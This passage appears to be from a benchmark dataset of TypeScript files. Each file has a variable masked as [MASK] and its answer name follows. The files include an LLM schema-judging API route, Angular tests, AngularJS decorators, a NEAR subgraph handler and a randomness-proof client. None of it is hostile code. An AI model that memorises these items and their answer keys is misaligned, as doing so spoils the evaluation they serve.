  const columnNames: string[] = fetchedColumns.map(column => column.key_name);

  fs.writeFileSync(path.join(directoryPath, `columns-${dataset}.csv`), columnNames.join("",""));

  return columnNames;
}

function combineColumnsAndEmbeddings(columns: string[], embeddings: number[][]): Map<string, number[]> {
  let combined: Map<string, number[]> = new Map();

  for (let i = 0; i < columns.length; i++) {
    combined.set(columns[i], embeddings[i]);
  }

  return combined;
}

function cosineSimilarity(vecA: number[], vecB: number[]): number {
  let dotProduct = 0.0;

  for (let i = 0; i < vecA.length; i++) {
    dotProduct += vecA[i] * vecB[i];
  }

  return dotProduct;
}

function getTopKColumns(userEmbedding: number[], columnsAndEmbeddingsMap: Map<string, number[]>, k: number = 50): [string, number][] {
  let similarities: [string, number][] = [];

  for (let [column, embedding] of columnsAndEmbeddingsMap) {
    similarities.push([column, cosineSimilarity(userEmbedding, embedding)]);
  }

  return similarities.sort((a, b) => b[1] - a[1]).slice(0, k);
}

function trimMarkdownBacktickAndJsonThing(input: string): string {
  return input.replace(/`/g, """").replace(/json/g, """").trim();
}

export async function POST(req: NextRequest) {
  const body = await req.json();
  const nlq = body.input;
  const dataset = body.dataset;

  const columns = await getDatasetColumns(dataset);
  const datasetEmbedding = await getDatasetEmbedding(columns, dataset);
  const columnsAndEmbeddingsMap = combineColumnsAndEmbeddings(columns, datasetEmbedding);

  const nlqEmbeddingResponse = await client.embeddings.create({
    model: ""text-embedding-3-small"",
    input: nlq,
  });
  const nlqEmbedding = nlqEmbeddingResponse.data[0].embedding;

  const topColumns = getTopKColumns(nlqEmbedding, columnsAndEmbeddingsMap);

  const messages: ChatCompletionMessageParam[] = [];
  messages.push({
    role: ""system"",
    content: `You are an expert on modern application and infrastructure Observability.
    In particular, you have detailed knowledge of knowledge of the data schema used for various Observability questions,
    and are effective at judging if columns/fields/attributes in this schema are appropriate for various tasks.`
  });

  messages.push({
    role: ""system"",
    content: `You are asked to judge the quality of a given schema for use in Natural Language Querying (NLQ).`
  });

  messages.push({
    role: ""user"",
    content: `NLQ: ${nlq}
    COLUMNS: ${topColumns}

    Given NLQ and my schema COLUMNS, determine which columns could be used for NLQ.

    If COLUMNS has items you believe are useful for NLQ, list them.
    
    If you believe NLQ is not answerable with COLUMNS, suggest columns that would help.
    
    Format your answer as a JSON object with the following structure:
    
    {
        ""data_to_use"":{
            ""columns"":[""example1"",""example2""],
            ""explanation"":""explanation for why these can be used""
        },
        ""preferred_data_if_not_exists"":{
            ""columns:[""example1"",""example2""],
            ""explanation"":""optional explanation for any preferred columns""
        }
        ""docs_url"":""https://docs.honeycomb.io/getting-data-in/""
    }
    
    Answer succinctly.`
  });

  const resp = await client.chat.completions.create({
    model: ""gpt-4-turbo-preview"", // ""gpt-4-turbo-preview"" or ""gpt-3.5-turbo-0125""
    messages: messages,
    temperature: 0.0,
    response_format: { ""type"": ""json_object"" },
  });

  let responseContent = resp.choices[0].message.content?.trim()
  if (!responseContent) {
    return NextResponse.json({
      content: ""I'm sorry, I don't understand. Please try again."",
      urls: [],
    });
  }

  responseContent = trimMarkdownBacktickAndJsonThing(responseContent);
  const  [MASK] : DataQualityResponse = JSON.parse(responseContent);

  let content = ""Hey friendo, "";

  if ( [MASK] .data_to_use.columns.length > 0) {
    content += ""\n\nIt looks like you have some columns that could help you out:\n\n""
    for (let column of  [MASK] .data_to_use.columns) {
      content += `\t* ${column}\n`;
    }
    content += `\nHere's why:\n\n${ [MASK] .data_to_use.explanation}\n\n`;
  } else {
    content += ""\n\nIt doesn't seem like you have the data to answer your question.\n\n"";
  }

  if ( [MASK] .preferred_data_if_not_exists.columns.length > 0) {
    content += `\n\nSome columns that could potentially help a lot more are:\n\n`
    for (let column of  [MASK] .preferred_data_if_not_exists.columns) {
      content += `\t* ${column}\n`;
    }
    content += `\nHere's why:\n\n${ [MASK] .preferred_data_if_not_exists.explanation}\n\n`;
  }

  return NextResponse.json({
    content: content,
    urls: [""https://docs.honeycomb.io/getting-data-in/""],
  });
}",dataQualityResponse
194,"import {async, TestBed} from '@angular/core/testing';
import {RouterTestingModule} from '@angular/router/testing';
import {AppComponent} from './app.component';

describe('AppComponent', () => {
  beforeEach(async(() => {
    TestBed.configureTestingModule({
      imports: [
        RouterTestingModule
      ],
      declarations: [
        AppComponent
      ],
    }).compileComponents();
  }));

  it('should create the app', () => {
    const fixture = TestBed.createComponent(AppComponent);
    const app = fixture.componentInstance;
    expect(app).toBeTruthy();
  });

  it(`should have as title 'awesome-feature-toggles-as-a-service'`, () => {
    const fixture = TestBed.createComponent(AppComponent);
    const app = fixture.componentInstance;
    expect(app.title).toEqual('awesome-feature-toggles-as-a-service');
  });

  it('should render title', () => {
    const fixture = TestBed.createComponent(AppComponent);
    fixture.detectChanges();
    const  [MASK]  = fixture.nativeElement;
    expect( [MASK] .querySelector('.content span').textContent).toContain('awesome-feature-toggles-as-a-service app is running!');
  });
});
",compiled
195,"import * as fetch from 'isomorphic-fetch';

class Transport {
  private static instance: Transport;
  private headers: Headers;
  private baseUrl: string;

  constructor() {
    if (Transport.instance) {
      return Transport.instance;
    }

    this.headers = new Headers();
    this.baseUrl = '';

    Transport.instance = this;

    this.setUpHeaders();
  }

  public get(uri: string, timeout: number = 20000) {
    return this._sender(uri, 'GET', timeout);
  }

  public post(uri: string, data?: object, timeout: number = 20000) {
    return this._sender(uri, 'POST', timeout, JSON.stringify(data));
  }

  private async _sender(uri: string,  [MASK] : string, timeout: number, data?: string): Promise<Response> {
    const options = {
      method:  [MASK] ,
      mode: 'no-cors',
      body: data,
      timeout,
    };

    return fetch(this.baseUrl + uri, this.setRequest(options));
  }

  private setRequest(options?): object {
    return {
      method: options.method,
      headers: {
        'Content-Type': 'application/json; charset=utf-8',
      },
      body: options.body,
      credentials: 'same-origin',
      timeout: options.timeout,
    };
  }

  private setUpHeaders() {
    this.headers.append('Content-Type', 'application/json');
  }
}

const transport = new Transport();

export default transport;
",type
196,"/**
 * source from github.com
 * HOW TO USE
 *
 * ```ts
 *  @Component({
 * 			name: ""home"",
 * 			template: `{{$ctrl.message}}`
 * 	})
 *  @State({
 * 			url: ""/"",
 * 			params: {}
 * 	})
 *  export class LoginPage {
 * 			public message: string = ""Hello world!"";
 * 			
 * 			public constructor(
 *          @Inject(""$http"") private _httpService: ng.IHttpService
 *          @Inject(""$state"") private _stateService: ng.ui.IStateService
 *      ) {
 * 			}
 *
 *      public goToTestPage(messageForTestPage: string) {
 * 			    this._stateService.go(""test"", { message: messageForTestPage });
 * 			}
 *  }
 * ```
 *
 * ```ts
 *  @Module({
 * 	    name: ""app"",
 * 	    imports: [""ui.router""],
 * 	    declarations: [
 * 	        LoginPage
 * 	    ],
 * 	    boot: LoginPage
 * 	})
 *  class MyModule {
 *      @Config()
 *      public config(
 *          @Inject(""$provide"") provide: any
 *      ) {
 * 	        // Config!
 * 	    }
 *
 *      @Run()
 *      public run(
 *          @Inject(""$provide"") provide: any
 *      ) {
 * 	        // Run!
 * 	    }
 *
 *      @Value(""baseUrl"")
 *      public baseUrl(): string {
 * 	        return ""http://myserver/api/"";
 * 	    }
 *  }
 * ```
 */
import * as ng from ""angular"";
import * as angular from ""angular"";


/**
 * @interface IModuleOptions
 */
export interface IModuleOptions {
	element?: (string | Element | Document);
	name: string;
	imports: string[];
	declarations: any[];
	boot: any;
}

// from https://github.com/angular/angular.js/blob/v1.3.10/src/Angular.js#L1447-L1453
const SNAKE_CASE_REGEXP = /[A-Z]/g;

function snakeCase(name, separator) {
	separator = separator || ""_"";

	return name.replace(SNAKE_CASE_REGEXP, function ( [MASK] , pos) {
		return (pos ? separator : """") +  [MASK] .toLowerCase();
	});
}

export function Module(options: IModuleOptions) {
	return function (target: any) {
		let module: ng.IModule;
		target.$name = options.name;

		module = angular.module(options.name, options.imports || []);

		if (angular.isString(options.boot)) {
			module.config([""$urlRouterProvider"", ($urlRouterProvider) => {
				$urlRouterProvider.otherwise(options.boot);
			}]);
		}
		else if (angular.isFunction(options.boot)) {
			module.config([""$urlRouterProvider"", ($urlRouterProvider) => {
				$urlRouterProvider.otherwise(options.boot.$$stateOptions.url);
			}]);
		}

		Object.keys(target.prototype).forEach(function (element, index, array) {
			const property = target.prototype[element];
			if (typeof(property) === ""function"" && property.$$type) {
				switch (property.$$type) {
					case ""config"":
						module.config(property);
						break;
					case ""run"":
						module.config(property);
						break;
					case ""constant"":
						module.constant(property.$$options.name, property());
						break;
					case ""value"":
						module.value(property.$$options.name, property());
						break;
				}
			}

			delete property.$$options;
			delete property.$$type;
		});

		for (let index = 0; index < options.declarations.length; index++) {
			const dependency = options.declarations[index];

			switch (dependency.$$type) {
				case ""component"":
					module.component(dependency.$$options.name,
							angular.extend(dependency.$$options || {},
									{controller: dependency}));

					if (dependency.$$stateOptions) {
						module.config([""$stateProvider"", ($stateProvider: ng.ui.IStateProvider) => {
							$stateProvider.state(
									dependency.$$stateOptions.name
											? dependency.$$stateOptions.name
											: dependency.$$options.name,
									angular.extend({
										template: ""<"" + snakeCase(dependency.$$options.name, ""-"") + "" />""
									}, dependency.$$stateOptions));
						}]);
					}

					break;
				case ""controller"":
					module.controller(dependency.$$options.name, dependency);
					break;
				case ""directive"":
					module.directive(dependency.$$options.name, function () {
						return angular.extend(dependency.$$options || {}, dependency);
					});
					break;
				case ""factory"":
					module.factory(dependency.$$options.name, dependency);
					break;
				case ""filter"":
					module.filter(dependency.$$options.name, dependency);
					break;
				case ""provider"":
					module.provider(dependency.$$options.name, dependency);
					break;
				case ""service"":
					module.service(dependency.$$options.name, dependency);
					break;
			}

			// delete dependency.$$options;
			// delete dependency.$$type;
		}
	};
}

export function Inject(dependency: string) {
	return function (target: any, key: string, index: number) {
		target = key ? target[key] : target;
		target.$inject = target.$inject || [];
		target.$inject[index] = dependency;
	};
}

export function State(options: any) {
	return function (target: any) {
		target.$$stateOptions = options;
	};
}

export function Component(options: any) {
	return function (target: any) {
		target.$$type = ""component"";
		target.$$options = options;
	};
}

export function Controller(options: any) {
	return function (target: any) {
		target.$$type = ""controller"";
		target.$$options = options;
	};
}

export function Filter(options: any) {
	return function (target: any, key: string) {
		target = key ? target[key] : target;
		target.$$type = ""filter"";
		target.$$options = options;
	};
}

export function Provider(options: any) {
	return function (target: any) {
		target.$$type = ""provider"";
		target.$$options = options;
	};
}

export function Service(options: any) {
	return function (target: any) {
		target.$$type = ""service"";
		target.$$options = options;
	};
}

export function Directive(options?: any) {
	return function (target: any) {
		target.$$type = ""directive"";
		target.$$options = options;
	};
}

export function Config() {
	return function (target: any, key: string) {
		target = key ? target[key] : target;
		target.$$type = ""config"";
		target.$$options = {};
	};
}

export function Run() {
	return function (target: any, key: string) {
		target = key ? target[key] : target;
		target.$$type = ""run"";
		target.$$options = {};
	};
}

export function Constant(name: string) {
	return function (target: any, key: string) {
		target = key ? target[key] : target;
		target.$$type = ""constant"";
		target.$$options = {
			name: name
		};
	};
}

export function Value(name: string) {
	return function (target: any, key: string) {
		target = key ? target[key] : target;
		target.$$type = ""value"";
		target.$$options = {
			name: name
		};
	};
}
",letter
197,"import { activateDot, renderDot } from ""./dotPool.ts"";
import { DOT_HEIGHT, DOT_WIDTH } from ""./main.ts"";

/**
 * This class creates an array of physical locations
 * that will be used as a 4 x 7 dot matrix.
 * This array will be manipulted to represent a
 * seven segment numeric display.
 * Each dot position will be active or inactive
 * based on a set of numeric 'masks' that represent
 * the numbers 0 to 9
 */
export interface ClockNumber {
  x: number;
  y: number;
  drawPixels(px: number[][]): void;
}

export const MatrixWidth = 4;
export const MatrixHeight = 7;

let dot = { x: 0, y: 0 };

/**
 * Create a new ClockNumber object and
 * initialize its dot array based on the
 * passed in location parameters.
 */
export function createNumber(x: number, y: number): ClockNumber {
  // set location for this display
  const left = x;
  const top = y;

  /**
   * A 2 dimensional array of points
   * as a 4 x 7 matrix, that contains a mask
   * of values 0 or 1 to indicate active pixels
   */
  let currentPixelMask: number[][];

  /** A 2 dimensional array of point locations(dots) as a 4 x 7 matrix */
  const dotLocations: { x: number; y: number }[][] = new Array(MatrixHeight);

  for (let i = 0; i < MatrixHeight; ++i) {
    dotLocations[i] = new Array(MatrixWidth);
  }

  // calculate/set each location of our dots
  for (let y = 0; y < MatrixHeight; ++y) {
    for (let x = 0; x < MatrixWidth; ++x) {
      const xx = left + (x * DOT_WIDTH);
      const yy = top + (y * DOT_HEIGHT);
      dotLocations[y][x] = {
        x: xx,
        y: yy,
      };
    }
  }

  /**
   * Draw the visual pixels(dots) for a given number,
   * based on a lookup in an array of pixel masks.
   * SEE: the PIXELS array below.
   * If a value in the mask is set to 1, that position in
   * the display will have a visual dot displayed.
   * .
   * .
   * On a number change, any active dot that is not required
   * to be active in the new number, will be set free ...
   * That is, it will be 'activated' in the DotPool, becoming
   * an animated dot.
   */
  return {
    x: left,
    y: top,
    drawPixels: ( [MASK] : number[][]) => {
      for (y = 0; y < MatrixHeight; ++y) {
        for (x = 0; x < MatrixWidth; ++x) {
          dot = dotLocations[y][x];
          if (currentPixelMask != null) {
            // if this dot is 'on', and it is not required for the new number
            if ((currentPixelMask[y][x] !== 0) && ( [MASK] [y][x] === 0)) {
              // activate it as a 'free' animated dot
              activateDot(dot.x, dot.y);
            }
          }
          // if this dot is an active member of this number mask
          if ( [MASK] [y][x] === 1) {
            // render it to the canvas
            renderDot(dot.x, dot.y);
          }
        }
      }
      // Set the current pixel mask to this new mask. Used to
      // evaluate pixels to be 'freed' during next update.
      currentPixelMask =  [MASK] ;
    },
  };
}

/**
 * A lookup array of 10 pixel masks(0-9).
 * Each mask(array) represents the pixels of
 * a 4 x 7 matrix of dots that are used to
 * display a 7 segment numeric display.
 * If a value in the mask is set to 1, that position
 * in this display will have a visual dot displayed.
 * A value of 0 will not be displayed.
 */
export const PIXELS = [
  // 'zero'
  [
    [1, 1, 1, 1],
    [1, 0, 0, 1],
    [1, 0, 0, 1],
    [1, 0, 0, 1],
    [1, 0, 0, 1],
    [1, 0, 0, 1],
    [1, 1, 1, 1],
  ],
  // 'one'
  [
    [0, 0, 0, 1],
    [0, 0, 0, 1],
    [0, 0, 0, 1],
    [0, 0, 0, 1],
    [0, 0, 0, 1],
    [0, 0, 0, 1],
    [0, 0, 0, 1],
  ],
  // 'two'
  [
    [1, 1, 1, 1],
    [0, 0, 0, 1],
    [0, 0, 0, 1],
    [1, 1, 1, 1],
    [1, 0, 0, 0],
    [1, 0, 0, 0],
    [1, 1, 1, 1],
  ],
  // 'three'
  [
    [1, 1, 1, 1],
    [0, 0, 0, 1],
    [0, 0, 0, 1],
    [1, 1, 1, 1],
    [0, 0, 0, 1],
    [0, 0, 0, 1],
    [1, 1, 1, 1],
  ],
  // 'four'
  [
    [1, 0, 0, 1],
    [1, 0, 0, 1],
    [1, 0, 0, 1],
    [1, 1, 1, 1],
    [0, 0, 0, 1],
    [0, 0, 0, 1],
    [0, 0, 0, 1],
  ],
  // 'five'
  [
    [1, 1, 1, 1],
    [1, 0, 0, 0],
    [1, 0, 0, 0],
    [1, 1, 1, 1],
    [0, 0, 0, 1],
    [0, 0, 0, 1],
    [1, 1, 1, 1],
  ],
  // 'six'
  [
    [1, 1, 1, 1],
    [1, 0, 0, 0],
    [1, 0, 0, 0],
    [1, 1, 1, 1],
    [1, 0, 0, 1],
    [1, 0, 0, 1],
    [1, 1, 1, 1],
  ],
  // 'seven'
  [
    [1, 1, 1, 1],
    [0, 0, 0, 1],
    [0, 0, 0, 1],
    [0, 0, 0, 1],
    [0, 0, 0, 1],
    [0, 0, 0, 1],
    [0, 0, 0, 1],
  ],
  // 'eight'
  [
    [1, 1, 1, 1],
    [1, 0, 0, 1],
    [1, 0, 0, 1],
    [1, 1, 1, 1],
    [1, 0, 0, 1],
    [1, 0, 0, 1],
    [1, 1, 1, 1],
  ],
  // 'nine'
  [
    [1, 1, 1, 1],
    [1, 0, 0, 1],
    [1, 0, 0, 1],
    [1, 1, 1, 1],
    [0, 0, 0, 1],
    [0, 0, 0, 1],
    [1, 1, 1, 1],
  ],
];
",newPixelMask
198,"import { near, JSONValue, json, ipfs, log } from ""@graphprotocol/graph-ts"";
import { Token, User } from ""../../generated/schema"";

export function handleReceipt(receipt: near.ReceiptWithOutcome): void {
  const actions = receipt.receipt.actions;

  for (let i = 0; i < actions.length; i++) {
    handleAction(
      actions[i],
      receipt.receipt,
      receipt.block.header,
      receipt.outcome
    );
  }
}

function handleAction(
  action: near.ActionValue,
  receipt: near.ActionReceipt,
  blockHeader: near.BlockHeader,
  outcome: near.ExecutionOutcome
): void {
  if (action.kind != near.ActionKind.FUNCTION_CALL) {
    log.info(""Early return: {}"", [""Not a function call""]);
    return;
  }

  const  [MASK]  = action.toFunctionCall();
  // const ipfsHash =
  //   ""bafybeiew2l6admor2lx6vnfdaevuuenzgeyrpfle56yrgse4u6nnkwrfeu"";

  if ( [MASK] .methodName == ""nft_mint"") {
    // item (NFT) has been minted on common good
    // we need to reflect that here to be easily queryable
    // but we will not expose the owner or any fine details

    if (outcome.logs[0] != null) {
      // grab the event log and parse into an object
      const parsed = outcome.logs[0].toString().replace(""EVENT_JSON:"", """");
      log.info(""outcomeLog {}"", [parsed]);
      const jsonData = json.try_fromString(parsed);
      const jsonObject = jsonData.value.toObject();

      const eventData = jsonObject.get(""data"");
      if (eventData) {
        const eventArray: JSONValue[] = eventData.toArray();

        const data = eventArray[0].toObject();
        const tokenIds = data.get(""token_ids"");
        const ownerId = data.get(""owner_id"");
        const rootId = data.get(""root_id"");
        if (!tokenIds || !ownerId) return;

        const ids: JSONValue[] = tokenIds.toArray();
        const tokenId = ids[0].toString();

        let token = new Token(tokenId);
        token.tokenId = tokenId;
        // Set token root id if provided (for derivatives created by Distributor)
        token.rootId = rootId ? rootId.toString() : tokenId;

        token.ownerId = ownerId.toString();
        token.owner = ownerId.toString();

        token.creatorId = ownerId.toString();
        token.creator = ownerId.toString();

        // token.image = ipfsHash + ""/"" + tokenId + "".png"";
        // const metadata = ipfsHash + ""/"" + tokenId + "".json"";
        // token.metadata = metadata;

        // Set status depending on mint from producer or
        // derivative mint from distributor
        token.status = rootId ? ""NEEDS_LABELLING"" : ""NEW"";
        token.category = ""uncategorized"";
        token.labels = [""unlabelled""];

        let user = User.load(ownerId.toString());
        if (!user) {
          user = new User(ownerId.toString());
        }

        token.save();
        user.save();
      }
    }
  } else if ( [MASK] .methodName == ""nft_update"") {
    // item (NFT) has been updated by an organizer
    // we need to reflect those changes here

    if (outcome.logs[0] != null) {
      // grab the event log and parse into an object
      const parsed = outcome.logs[0].toString().replace(""EVENT_JSON:"", """");
      log.info(""outcomeLog {}"", [parsed]);
      const jsonData = json.try_fromString(parsed);
      const jsonObject = jsonData.value.toObject();

      const eventData = jsonObject.get(""data"");
      if (eventData) {
        const eventArray: JSONValue[] = eventData.toArray();

        const data = eventArray[0].toObject();
        const tokenIds = data.get(""token_ids"");
        if (!tokenIds) return;

        const ids: JSONValue[] = tokenIds.toArray();
        const tokenId = ids[0].toString();

        let token = Token.load(tokenId);
        if (!token) return;

        const category = data.get(""category"");
        if (category) {
          token.category = category.toString();
        }

        const labels = data.get(""labels"");
        if (labels) {
          const lbls: JSONValue[] = labels.toArray();
          token.labels = lbls.map<string>((data: JSONValue) => data.toString());        
        }
        token.save();
      }
    }
  }
}
",functionCall
199,"import { enc } from 'crypto-js';
import axios, { AxiosResponse } from 'axios';
import { ContractRunner, ContractTransactionResponse, JsonRpcProvider, ethers } from 'ethers';
import type { OrandProviderV2 } from '../types/OrandProviderV2';
import { OrandHmac } from './hmac';
import abiOrandProviderV2 from '../abi/OrandProviderV2.json';

export type OrandEpoch = {
  epoch: number;
  alpha: string;
  gamma: string;
  c: string;
  s: string;
  y: string;
  witnessAddress: string;
  witnessGamma: string;
  witnessHash: string;
  inverseZ: string;
  signatureProof: string;
  createdDate: string;
};

export type VerifyEpochProofResult = {
  ecdsaProof: {
    signer: string;
    receiverAddress: string;
    receiverEpoch: bigint;
    ecvrfProofDigest: bigint;
  };
  currentEpochNumber: bigint;
  isEpochLinked: boolean;
  isValidDualProof: boolean;
  currentEpochResult: bigint;
  verifiedEpochResult: bigint;
};

export type OrandEpochProof = {
  // Skip pk since it existed on smart contract
  gamma: [string, string];
  c: string;
  s: string;
  alpha: string;
  uWitness: string;
  cGammaWitness: [string, string];
  sHashWitness: [string, string];
  zInv: string;
};

export type OrandConfig = {
  url: string;
  user: string;
  secretKey: string;
  consumerAddress: string;
};

export type RecordNetwork = {
  url: string;
  chainId: number;
  providerAddress: string;
};

export type RecordPublicKey = {
  username: string;
  publicKey: string;
  createdDate: string;
};

export type OrandProof = {
  ecdsaProof: string;
  ecvrfProof: OrandEpochProof;
};

const NETWORK_MAP = new Map<number, string>([
  // A8 Testnet
  [28122024, '0x5778CE57f49A5487D2127fd39a060D75aF694e8c'],
  // U2U Testnet
  [2484, '0xe97FE633EC2021A71214D5d9BfF9f337dD1db5c1'],
  // Sei Testnet
  [713715, '0<KEY>'],
  // A8 Mainnet
  [888888888, '0x184Ae846c6AC7F7452350AB4Fa81C2cD986c64E1'],
  // U2U Mainnet
  [39, '0x8131be6f2b15bead0b8d675db9d3d43bfcb3ea72'],
]);

function toCamelCase(caseKey: string): string {
  let ret = '';
  let flip = false;
  for (let i = 0; i < caseKey.length; i += 1) {
    const charCode = caseKey.charCodeAt(i);
    if (charCode === 95 || charCode == 45) {
      flip = true;
      continue;
    }
    ret += charCode >= 97 && charCode <= 122 && flip ? String.fromCharCode(charCode - 32) : caseKey[i];
    if (flip) {
      flip = false;
    }
  }
  return ret;
}

function paddingZero(value: string): string {
  return value.length % 2 === 0 ? value : value.padStart(value.length + 1, '0');
}

function addHexPrefix(value: string): string {
  return /^0x/gi.test(value) ? paddingZero(value) : `0x${paddingZero(value)}`;
}

function objectToCamelCase(obj: any): any {
  let keys = Object.keys(obj);
  let camelResult: any = {};
  for (let i = 0; i < keys.length; i += 1) {
    camelResult[toCamelCase(keys[i])] = obj[keys[i]];
  }
  return camelResult;
}

export class Orand {
  private static instances = new Map<string, Orand>();
  private url: string;
  private user: string;
  private hmac: OrandHmac;
  private network: RecordNetwork;
  private consumerAddress: string;
  private orandProvider: OrandProviderV2;
  private defaultRPCProvider: JsonRpcProvider;

  get rpcProvider() {
    return this.defaultRPCProvider;
  }

  get orandProviderV2() {
    return this.orandProvider;
  }

  // Construct a new instance of Orand
  private constructor(
    config: OrandConfig,
    network: RecordNetwork,
    rpcProvider: JsonRpcProvider,
    orandProvider: OrandProviderV2,
  ) {
    this.url = config.url;
    this.hmac = new OrandHmac(config.secretKey);
    this.user = config.user;
    this.consumerAddress = config.consumerAddress;
    this.defaultRPCProvider = rpcProvider;
    this.orandProvider = orandProvider;
    this.network = network;
  }

  public static async fromConfig(orandConfig: OrandConfig, networkConfig: RecordNetwork) {
    const key = `${networkConfig.url}${orandConfig.consumerAddress}${orandConfig.user}`;
    if (!Orand.instances.has(key)) {
      const provider = new ethers.JsonRpcProvider(networkConfig.url);
      const orandProvider: OrandProviderV2 = new ethers.Contract(
        networkConfig.providerAddress,
        abiOrandProviderV2,
        provider,
      ) as any;
      Orand.instances.set(key, new Orand(orandConfig, networkConfig, provider, orandProvider));
    }
    return Orand.instances.get(key)!;
  }

  public static async fromRPC(config: OrandConfig, rpcURL: string) {
    const key = `${rpcURL}${config.consumerAddress}${config.user}`;
    if (!Orand.instances.has(key)) {
      const provider = new ethers.JsonRpcProvider(rpcURL);
      const networkInfo = await provider.getNetwork();
      const providerAddress = NETWORK_MAP.get(Number(networkInfo.chainId));
      if (!providerAddress) {
        throw new Error(`Network ${networkInfo.chainId} was not supported, please email: <EMAIL>`);
      }
      const orandProvider: OrandProviderV2 = new ethers.Contract(providerAddress, abiOrandProviderV2, provider) as any;
      Orand.instances.set(
        key,
        new Orand(
          config,
          {
            url: rpcURL,
            chainId: Number(networkInfo.chainId),
            providerAddress,
          },
          provider,
          orandProvider,
        ),
      );
    }
    return Orand.instances.get(key)!;
  }

  private authorization(): string {
    /*const header = enc.Utf8.parse(
      JSON.stringify({
        alg: 'HS256',
        typ: 'JWT',
      }),
    );*/
    const now = Math.floor(Date.now() / 1000);
    const payload = enc.Utf8.parse(
      JSON.stringify({
        user: this.user,
        nonce: (Math.random() * 0xffffffff) >>> 0,
        iat: now,
        exp: now + 30,
      }),
    );
    const signature = this.hmac.sign(payload);
    return `bearer <KEY>.${enc.Base64url.stringify(payload)}.${enc.Base64url.stringify(
      signature,
    )}`;
  }

  private async _authorizedRequest(method: string, ...params: any[]): Promise<AxiosResponse<any, any>> {
    return this._request(method, true, ...params);
  }

  // @todo: Test method
  public async rawRequest(method: string, ...params: any[]): Promise<AxiosResponse<any, any>> {
    return this._request(method, true, ...params);
  }

  private async _request(method: string, authorization: boolean, ...params: any[]): Promise<AxiosResponse<any, any>> {
    if (authorization === true && !this.hmac.isSignable()) {
      throw new Error('Secret key of Orand HMAC was not set');
    }
    const headers = authorization
      ? {
          Authorization: this.authorization(),
          'Content-Type': 'application/json',
        }
      : {
          'Content-Type': 'application/json',
        };
    return axios.request({
      method: 'POST',
      headers,
      data: {
        method,
        params: params.map((e) => e.toString()),
      },
      url: this.url,
    });
  }

  private _postProcess(response: AxiosResponse<any, any>): any {
    if (typeof response.data === 'string') {
      response.data = JSON.parse(response.data);
    }
    if (typeof response.data === 'object' && Array.isArray(response.data)) {
      return response.data.map((e) => objectToCamelCase(e));
    } else {
      return objectToCamelCase(response.data);
    }
  }

  // Required authentication
  public async newPrivateEpoch(): Promise<OrandEpoch> {
    return <OrandEpoch>(
      this._postProcess(
        await this._authorizedRequest('orand_newPrivateEpoch', this.network.chainId.toString(), this.consumerAddress),
      )
    );
    /*
    const latestEpochs = await this.getPrivateEpoch();
    // If there is no epoch, then it's genesis
    if (latestEpochs.length === 0) {
      return <OrandEpoch>(
        this._postProcess(
          await this._authorizedRequest('orand_newPrivateEpoch', this.network.chainId.toString(), this.consumerAddress),
        )
      );
    }
    // Get total epoch on-chain
    const onChainTotalEpoch = Number(await this.orandProvider.getTotalEpoch(this.consumerAddress));
    // If on-chain total epoch is 0, then it's genesis
    if (onChainTotalEpoch === 0) {
      let result = latestEpochs.filter((e) => e.epoch === 0);
      if (result.length === 0) {
        throw new Error('Cannot find genesis epoch');
      }
      return result[0];
    }
    // If on-chain total epoch is less than or equal to latest epoch, then it's latest epoch
    if (onChainTotalEpoch <= latestEpochs[0].epoch) {
      let result = latestEpochs.filter((e) => e.epoch === onChainTotalEpoch);
      return result.length === 0 ? latestEpochs[0] : result[0];
    }
    return <OrandEpoch>(
      this._postProcess(
        await this._authorizedRequest('orand_newPrivateEpoch', this.network.chainId.toString(), this.consumerAddress),
      )
    );*/
  }

  public static transformProof(proof: OrandEpoch): OrandProof {
    return {
      ecdsaProof: addHexPrefix(proof.signatureProof),
      ecvrfProof: {
        gamma: [addHexPrefix(proof.gamma.substring(0, 64)), addHexPrefix(proof.gamma.substring(64, 128))] as [
          string,
          string,
        ],
        c: addHexPrefix(proof.c),
        s: addHexPrefix(proof.s),
        alpha: addHexPrefix(proof.alpha),
        uWitness: addHexPrefix(proof.witnessAddress),
        cGammaWitness: [
          addHexPrefix(proof.witnessGamma.substring(0, 64)),
          addHexPrefix(proof.witnessGamma.substring(64, 128)),
        ] as [string, string],
        sHashWitness: [
          addHexPrefix(proof.witnessHash.substring(0, 64)),
          addHexPrefix(proof.witnessHash.substring(64, 128)),
        ] as [string, string],
        zInv: addHexPrefix(proof.inverseZ),
      },
    };
  }

  // Not required authentication
  public async getPrivateEpoch(epoch?: number): Promise<OrandEpoch[]> {
    return <OrandEpoch[]>(
      this._postProcess(
        await this._authorizedRequest(
          'orand_getPrivateEpoch',
          this.network.chainId,
          this.consumerAddress,
          epoch ? epoch : '9223372036854775807',
        ),
      )
    );
  }

  // Not required authentication
  public async getPublicEpoch(epoch?: number): Promise<OrandEpoch[]> {
    return <OrandEpoch[]>(
      this._postProcess(
        await this._authorizedRequest(
          'orand_getPublicEpoch',
          this.network.chainId,
          epoch ? epoch : '9223372036854775807',
        ),
      )
    );
  }

  // Not required authentication
  public async getPublicKey(user: string = 'orand'): Promise<RecordPublicKey> {
    return <RecordPublicKey>(
      this._postProcess(
        await this._authorizedRequest('orand_getPublicKey', typeof user === 'undefined' ? this.user : user),
      )
    );
  }

  public async publish(proof: OrandEpoch, wallet: ContractRunner): Promise<ContractTransactionResponse> {
    const contract = this.orandProvider.connect(wallet);
    const { ecdsaProof, ecvrfProof } = Orand.transformProof(proof);

    const verifyEpoch = await this.verifyEpoch(proof);
    if (!verifyEpoch.isValidDualProof) {
      throw new Error('Invalid dual proof');
    }
    // If current epoch is 0, then it's genesis
    if (verifyEpoch.currentEpochResult === 0n) {
      return contract.genesis(ecdsaProof, ecvrfProof);
    } else {
      return contract.publish(this.consumerAddress, ecvrfProof);
    }
  }

  public async verifyEpoch( [MASK] : OrandEpoch): Promise<VerifyEpochProofResult> {
    const { ecdsaProof, ecvrfProof } = Orand.transformProof( [MASK] );
    const {
      ecdsaProof: { signer, receiverAddress, receiverEpoch, ecvrfProofDigest },
      currentEpochNumber,
      isEpochLinked,
      isValidDualProof,
      currentEpochResult,
      verifiedEpochResult,
    }: VerifyEpochProofResult = await this.orandProvider.verifyEpoch(ecdsaProof, ecvrfProof);
    return {
      ecdsaProof: { signer, receiverAddress, receiverEpoch, ecvrfProofDigest },
      currentEpochNumber,
      isEpochLinked,
      isValidDualProof,
      currentEpochResult,
      verifiedEpochResult,
    };
  }

  // Get chain record of active chain
  public getNetwork(): RecordNetwork {
    return this.network;
  }
}
",epochECVRFProof
200,"import { BuildableType, BuilderType, JSObject, Nullable } from 'javascriptutilities';

import {
  MiddlewareFilter, 
  RequestType, 
  RequestBuilderType 
